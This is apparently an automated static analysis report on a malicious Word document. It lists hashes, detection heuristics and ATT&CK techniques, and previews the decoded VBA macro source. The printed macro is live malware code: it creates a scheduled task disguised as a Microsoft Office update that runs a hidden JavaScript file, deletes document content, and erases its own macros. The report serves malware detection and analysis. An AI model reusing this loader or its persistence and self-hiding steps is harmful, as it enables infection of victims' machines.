Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7cef4b46501f6050…

MALICIOUS

Office (OLE)

175.0 KB Created: 2019-02-11 16:18:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 664e95fbd9c4439c9800cc93f0474d1b SHA-1: a472995cb37965f3f938152d965ef6cdb4cfe327 SHA-256: 7cef4b46501f605030427c3f0c6db5e190af8ea757d75533f900aada952da0a0
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains heavily obfuscated VBA macros that utilize `CreateObject("Schedule.Service")` to create a scheduled task. This task is configured with a description "MS Office Update Utility" and author "Microsoft Corporation", likely to appear legitimate. The macro's intent is to download and execute a second-stage payload disguised as an update, leveraging the `AutoOpen` function for execution.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 95513 bytes
SHA-256: 69c48ebac143d934033d0be26ba8e3cd526686736f6ba49f76c3fcd20a0a20ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const abphzgkmdx = 2
Const cssoyiiens = 1
Const ojnxttasft = 0
Private Sub cfwiyskzanygickl()
Dim eukjewtjtbwjnodhlkfh As Word.Document
Dim rng As Word.Range
Dim shp As Word.Shape
Dim iShp As Word.InlineShape
Set eukjewtjtbwjnodhlkfh = ActiveDocument
For Each shp In eukjewtjtbwjnodhlkfh.Shapes
shp.Delete
Next
For Each iShp In eukjewtjtbwjnodhlkfh.InlineShapes
iShp.Delete
Next
End Sub
Private Sub nlvzpsvagbffr()
Do
cfwiyskzanygickl
Loop While ActiveDocument.Shapes.Count > 0
End Sub
Private Sub uwaeuaecjqvbgdjvgo()
Const plduikoor = 1
Const cnufcebpjcgiwqowxwld = 0
Set iyhjxpapfyocbe = CreateObject(antzuptgjnhw("5363686564756c65") & antzuptgjnhw("2e53657276696365"))
Call iyhjxpapfyocbe.Connect
Dim tihjfwvvuemqtb
Set tihjfwvvuemqtb = iyhjxpapfyocbe.GetFolder(antzuptgjnhw("5c"))
Dim rnwlxquxqzisj
Set rnwlxquxqzisj = iyhjxpapfyocbe.NewTask(0)
Dim zaivjpytdjxwyhqskit
Set zaivjpytdjxwyhqskit = rnwlxquxqzisj.RegistrationInfo
zaivjpytdjxwyhqskit.Description = antzuptgjnhw("4d53204f66666963652055706461") & antzuptgjnhw("7465205574696c697479")
zaivjpytdjxwyhqskit.Author = antzuptgjnhw("4d6963726f736f667420436f72706f") & antzuptgjnhw("726174696f6e")
Dim xxlvvntkqcibdwsqqix
Set xxlvvntkqcibdwsqqix = rnwlxquxqzisj.principal
xxlvvntkqcibdwsqqix.LogonType = 3
Dim fckrygzz
Set fckrygzz = rnwlxquxqzisj.settings
fckrygzz.Enabled = True
fckrygzz.StartWhenAvailable = True
fckrygzz.Hidden = False
Dim thqzobqillrlzcr
Set thqzobqillrlzcr = rnwlxquxqzisj.triggers
Dim bwwachnhvzjtarqbcw
Set bwwachnhvzjtarqbcw = thqzobqillrlzcr.Create(plduikoor)
Dim startTime
Dim endTime
Dim time
time = DateAdd(antzuptgjnhw("73"), 30, Now)
startTime = svxzqfucyjtbggdqwv(time)
time = DateAdd(antzuptgjnhw("6e"), 50, Now)
endTime = svxzqfucyjtbggdqwv(time)
bwwachnhvzjtarqbcw.StartBoundary = startTime
bwwachnhvzjtarqbcw.EndBoundary = endTime
bwwachnhvzjtarqbcw.ExecutionTimeLimit = antzuptgjnhw("5054") & antzuptgjnhw("35304d")
bwwachnhvzjtarqbcw.ID = antzuptgjnhw("54696d65547269") & antzuptgjnhw("676765724964")
bwwachnhvzjtarqbcw.Enabled = True
Dim rogekcovz
Set rogekcovz = rnwlxquxqzisj.Actions.Create(cnufcebpjcgiwqowxwld)
rogekcovz.Path = Environ("APPDATA") & "\Microsoft\Office\MSO1037.js"
Call tihjfwvvuemqtb.RegisterTaskDefinition( _
antzuptgjnhw("4f666669") & antzuptgjnhw("636520557064617465"), rnwlxquxqzisj, 6, , , 3)
End Sub
Function svxzqfucyjtbggdqwv(t)
Dim cSecond
Dim cMinute
Dim CHour
Dim cDay
Dim cMonth
Dim cYear
Dim tTime
Dim tDate
cSecond = antzuptgjnhw("30") & Second(t)
cMinute = antzuptgjnhw("30") & Minute(t)
CHour = antzuptgjnhw("30") & Hour(t)
cDay = antzuptgjnhw("30") & Day(t)
cMonth = antzuptgjnhw("30") & Month(t)
cYear = Year(t)
tTime = Right(CHour, abphzgkmdx) & antzuptgjnhw("3a") & Right(cMinute, abphzgkmdx) & _
antzuptgjnhw("3a") & Right(cSecond, abphzgkmdx)
tDate = cYear & antzuptgjnhw("2d") & Right(cMonth, abphzgkmdx) & antzuptgjnhw("2d") & Right(cDay, abphzgkmdx)
svxzqfucyjtbggdqwv = tDate & antzuptgjnhw("54") & tTime
End Function
Private Sub zdxyuookypmnz()
Set uudlbytienptzhtjbbm = ActiveDocument.Content
With uudlbytienptzhtjbbm.Font
.Name = antzuptgjnhw("41") & antzuptgjnhw("7269616c")
End With
End Sub
Private Function irrinkaqni() As Boolean
Dim wjzfixorclqppwscf As String, WDDoc As Document
With ActiveDocument
With .VBProject
For Each asd In .VBComponents
With asd.CodeModule
.DeleteLines cssoyiiens, .CountOfLines
End With
Next
End With
With .VBProject.VBComponents.Item(antzuptgjnhw("54686973446f63756d") & antzuptgjnhw("656e74")).CodeModule
.InsertLines cssoyiiens, antzuptgjnhw("5375622041") & antzuptgjnhw("75746f4f70656e2829")
.InsertLines abphzgkmdx, antzuptgjnhw("456e") & antzuptgjnhw("6420537562")
End With
.Save
End With
End Function
Private Sub aakae
... (truncated)

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